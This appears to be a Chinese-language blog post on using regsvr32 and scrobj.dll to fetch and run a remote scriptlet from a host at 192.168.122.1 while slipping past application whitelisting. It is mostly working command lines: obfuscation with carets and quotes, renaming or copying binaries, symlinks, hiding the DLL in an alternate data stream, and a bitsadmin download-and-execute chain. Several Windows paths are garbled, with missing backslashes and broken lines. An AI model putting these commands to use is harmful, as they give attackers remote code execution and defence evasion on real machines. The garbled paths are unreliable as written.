白名单执行payload之regsvr32进阶绕过

简介

再补充相关程序命令说明:
/u:反注册DLL文件
/i:在使用 /u 反注册时调用 DllInstall
/s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
/c:控制端口
/n:不调用DllRegisterServer,必须与/i连用

实际使用

已知基本上线命令:
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct scrobj.dll

尝试绕过常规限制

字符干扰

regsvr32 /u /n /s /i:h^t^t^p://192.168.122.1/2021.sct scrobj.dll
regsvr32 /u /n /s /i:h"t"t"p://192.168.122.1/2021.sct scrobj.dll

目录移动

copy c:windowssystem32
egsvr32.exe  C:UsersAdministratorDesktop
egs.exe
regs.exe /u /n /s /i:http://192.168.122.1/2021.sct scrobj.dll

copy c:windowssystem32scrobj.dll newscrobj.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct newscrobj.dll
符号链接
需要链接的dll目录下进行
Mklink.exe c:programdataMyscrobj.dll c:windowssystem32scrobj.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct Myscrobj.dll
数据流(ADS)
type c:windowssystem32scrobj.dll > test.txt:new1.dll
regsvr32 /u /n /s /i:http://192.168.122.1/2021.sct test.txt:new1.dll
本地运行
bitsadmin /transfer download /download /priority normal http://192.168.122.1/2021.sct %TEMP%
ew2021.txt && regsvr32.exe /s /u /i:%TEMP%
ew2021.txt scrobj.dll
联系邮箱:yang_s1r@163.com 博客园地址:https://www.cnblogs.com/Yang34/
原文地址:https://www.cnblogs.com/Yang34/p/14404215.html